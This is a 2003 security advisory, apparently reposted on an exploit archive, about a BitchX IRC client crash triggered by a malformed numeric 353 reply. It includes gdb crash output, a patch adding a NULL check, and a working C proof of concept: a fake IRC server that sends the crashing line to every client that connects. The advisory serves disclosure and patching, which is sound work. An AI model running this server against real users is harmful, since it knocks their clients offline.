BitchX IRC Client Vulnerability

2007.10.23
Credit: argv
Risk: Low
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

-----BEGIN PGP SIGNED MESSAGE----- Mon Feb 17 15:26:06 EST 2003 1. Topic: BitchX IRC Client 2. Relevant versions: Vulnerable: BitchX-75p3 BitchX-1.0c16 BitchX-1.0c19 BitchX-1.0c20cvs Not Vulnerable: BitchX-1.0c18 3. Problem description: A denial of service vulnerability exists in BitchX. Sending a malformed RPL_NAMREPLY numeric 353 causes BitchX to segfault. This problem was reported to panasync@efnet#bitchx on Jan 30 2003, as of this writing we are unaware of any patches or workarounds provided by panasync and or any members of #bitchx 4. Workaround: Patch Included Use epic, ircII 5. References: http://www.bitchx.org http://www.epicsol.org http://www.ircii.org 6. Contact: argv (at) hushmail (dot) com [email concealed] - -----begin gdb.output----- argv@black:~/BitchX_353/BitchX/source$ gdb ./BitchX Reading symbols from ./BitchX...done. (gdb) r argv.matrux.net Starting program: /home/argv/BitchX_353/BitchX/source/./BitchX argv.matrux.net BitchX - Based on EPIC Software Labs epic ircII (1998). Version (BitchX-1.0c20cvs) -- Date (20020325). Process [30890] Program received signal SIGSEGV, Segmentation fault. 0x80bcdff in funny_namreply () (gdb) info reg eax 0x0 0 ecx 0xbfffcf34 -1073754316 edx 0x0 0 ebx 0xbfffcf2c -1073754324 esp 0xbfffcc94 0xbfffcc94 ebp 0xbfffd7b5 0xbfffd7b5 esi 0xbfffd7b8 -1073752136 edi 0x0 0 eip 0x80bcdff 0x80bcdff eflags 0x10282 66178 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 fctrl 0x37f 895 fstat 0x20 32 ftag 0xffff 65535 fiseg 0x23 35 fioff 0x80d1c7c 135076988 foseg 0x2b 43 fooff 0xbfffe130 -1073749712 fop 0x0 0 (gdb) disass $eip-0x20 $eip+0x20Dump of assembler code from 0x80bcddf to 0x80bce1f: 0x80bcddf <funny_namreply+19>: sbb $0x0,%al 0x80bcde1 <funny_namreply+21>: add %al,(%eax) 0x80bcde3 <funny_namreply+23>: add %al,0x26af8c4(%ebx) 0x80bcde9 <funny_namreply+29>: push %ebx 0x80bcdea <funny_namreply+30>: mov 0x318(%eax),%eax 0x80bcdf0 <funny_namreply+36>: call *%eax 0x80bcdf2 <funny_namreply+38>: mov (%ebx),%ebp 0x80bcdf4 <funny_namreply+40>: mov 0x4(%ebx),%esi 0x80bcdf7 <funny_namreply+43>: mov 0x8(%ebx),%edi 0x80bcdfa <funny_namreply+46>: mov %edi,%edx 0x80bcdfc <funny_namreply+48>: add $0x10,%esp 0x80bcdff <funny_namreply+51>: cmpb $0x0,(%edi) 0x80bce02 <funny_namreply+54>: je 0x80bce2f <funny_namreply+99> 0x80bce04 <funny_namreply+56>: mov 0x1c(%esp,1),%ecx 0x80bce08 <funny_namreply+60>: inc %ecx 0x80bce09 <funny_namreply+61>: cmpb $0x20,(%edx) 0x80bce0c <funny_namreply+64>: je 0x80bce1b <funny_namreply+79> 0x80bce0e <funny_namreply+66>: mov %esi,%esi 0x80bce10 <funny_namreply+68>: inc %edx 0x80bce11 <funny_namreply+69>: mov (%edx),%al 0x80bce13 <funny_namreply+71>: test %al,%al 0x80bce15 <funny_namreply+73>: je 0x80bce1b <funny_namreply+79> 0x80bce17 <funny_namreply+75>: cmp $0x20,%al 0x80bce19 <funny_namreply+77>: jne 0x80bce10 <funny_namreply+68> 0x80bce1b <funny_namreply+79>: mov %ecx,0x1c(%esp,1) End of assembler dump. - -----end gdb.output----- - -----begin BitchX-1.0c20cvs-353.diff----- diff -Nru BitchX.orig/source/funny.c BitchX/source/funny.c - --- BitchX.orig/source/funny.c Sun Feb 16 18:34:16 2003 +++ BitchX/source/funny.c Sun Feb 16 18:39:56 2003 @@ -260,7 +260,10 @@ type = Args[0]; channel = Args[1]; line = Args[2]; - - + if (channel == NULL || line == NULL) { + bitchsay("Invalid number of arguments for %s", __FUNCTION__); + return; + } ptr = line; while (*ptr) { - -----end BitchX-1.0c20cvs-353.diff----- - -----begin bitchx-353.c----- /* * bitchx-353.c * --argv * Jan/30/03 * * Vulnerable: * BitchX-75p3 * BitchX-1.0c16 * BitchX-1.0c19 * BitchX-1.0c20cvs * * Not Vulnerable: * BitchX-1.0c18 (So far..) * * * Workaround: * in function funny_namreply() * after the PasteArgs(Args, 2); * add in * -- snip -- * if (Args[1] == NULL || Args[2] == NULL) * return; * -- unsnip -- * * ---- the vuln code of bx ----- * PasteArgs(Args, 2); * type = Args[0]; * channel = Args[1]; * line = Args[2]; * * ptr = line; * while (*ptr) * { * while (*ptr && (*ptr != ' ')) * ptr++; * user_count++; * while (*ptr && (*ptr == ' ')) * ptr++; * } * ------------------------------ * * [panasync(panasync (at) colossus.melnibone (dot) org [email concealed])] you would hope the irc server would be a trusted source. * [hellman(hellman (at) ipv6.gi-1.au.reroute (dot) se [email concealed])] 'Free porn at /server irc.owned.com' * */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> static char shellcode[] = ":* 353 * = :\n"; // <-- this could be something worse. int acceptConnection(int fd) { char *ip_addr; int descriptor, sal; struct sockaddr_in sa; sal = sizeof(sa); descriptor = accept(fd, (struct sockaddr *) &sa, &sal); if (descriptor >= 0) { ip_addr = inet_ntoa(sa.sin_addr); printf("Connection from %s:%d\n", ip_addr, ntohs(sa.sin_port)); } return descriptor; } int main(int argc, char **argv) { int sock, serv, port; struct sockaddr_in server; port = 6667; if (argc > 1) port = atoi(argv[1]); memset(&server, 0, sizeof(server)); server.sin_port = htons(port); server.sin_family = AF_INET; server.sin_addr.s_addr = INADDR_ANY; sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &serv, sizeof(int)); if (bind(sock, (struct sockaddr *) &server, sizeof(struct sockaddr_in)) == -1) { return 0; } listen(sock, 1); while (1) { serv = acceptConnection(sock); write(serv, shellcode, strlen(shellcode)); close(serv); } return 0; } - -----end bitchx-353.c----- -----BEGIN PGP SIGNATURE----- Version: Hush 2.2 (Java) Note: This signature can be verified at https://www.hushtools.com/verify wlkEARECABkFAj5Qa5gSHGFyZ3ZAaHVzaG1haWwuY29tAAoJEO/BXrpp9Bkp5YkAoLkr CpVMFSHmOyysTyxrDPIMhVpiAJ9KqROclL0CQCxjGxoZSQUvcHoKMg== =EuNh -----END PGP SIGNATURE----- Concerned about your privacy? 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